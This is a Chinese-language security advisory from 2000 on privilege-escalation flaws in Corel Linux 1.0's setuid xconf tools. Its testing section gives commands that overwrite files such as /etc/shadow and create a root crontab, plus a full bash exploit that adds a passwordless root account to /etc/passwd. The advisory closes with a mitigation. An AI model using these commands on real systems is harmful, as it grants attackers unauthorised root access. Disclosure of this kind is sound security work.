首页 -> 安全研究

安全研究

安全漏洞
Corel Linux 1.0 xconf工具存在多个安全漏洞

发布日期:2000-02-27
更新日期:2000-02-27

受影响系统:
xconf
+ Corel Linux 1.0
描述:
Corel Linux中的xconf工具中缺乏对用户输入的有效检查,并且没有正确放弃特权。因此本
地用户可以利用这些漏洞获得root权限,或者导致拒绝服务攻击。
        
(1) 将XF86Config的一些数据添加到系统中的任意文件中去。
    
    /sbin/buildxconf没有检查用户输入的数据,并且被设置了setuid root位。当用"-f"
    参数执行它时,用户可以将输出存储到一个指定文件,比如/etc/shadow
    
(2) 用一些垃圾数据替换掉任何存在文件的第一行

    当用"-x"参数执行buildxconf程序时,它将用X server的路径/文件名替代掉指定文件的第
    一行。如果将/etc/passwd的第一行替换掉(通常是root行),可能导致拒绝服务攻击。
    
(3) 在文件系统中创建任何人可写的文件(属主为root)

   设置自己的umask为0后,执行buildxconf时,用"-x"或者"-f"参数指定一个不存在的文件
   将会在文件系统的任意位置创建该文件,属主为root,文件属性为0666.

(4) 以root身份执行任意命令        
   
    /sbin/setxconf允许用户用"-T"开关测试X的设置。它会启动以euid root身份启动xinit。
    而xinit将会查看是否存在~/.xserverrc,如果存在将在启动时执行里面的命令。

<* 来源:  cr@rotten.com, suid@suid.kg *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

(1) /sbin/buildxconf -f /existing/filename
(2) /sbin/buildxconf -x /existing/filename
(3) 缺省root并没有crontab文件,所以可以创建一个文件,然后添加命令,用来获得root权限
   $ umask 0
   $ /sbin/buildxconf -f /var/spool/cron/crontabs/root
(4)
--------------------------Cut--------------------------------

#!/bin/bash
#
# Exploit /sbin/setxconf on Corel Linux 1.0 to get root.
#
# suid@suid.kg - (C) 2000
#
# See http://www.suid.kg/

if [ ! -e ~/.xserverrc ]
then
   echo 'echo "owned::0:0::/:/bin/bash" >> /etc/passwd' > .xserverrc
else
   cp -f ~/.xserverrc ~/.xserverrc.orig
   echo 'echo "owned::0:0::/:/bin/bash" >> /etc/passwd' > .xserverrc
fi

# These kills aren't real necessary but it makes everything a bit neater.
(sleep 1; killall -9 setxconf testxconf xinit) | /sbin/setxconf -T > /dev/null 2> /dev/null
echo "Don't forget to remove the 'owned' account from /etc/passwd"
su owned
# EOF      


建议:
禁止xconf工具的使用或者去除其suid位:
chmod 0000 /sbin/setxconf /sbin/buildxconf /sbin/testxconf


浏览次数:6721
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障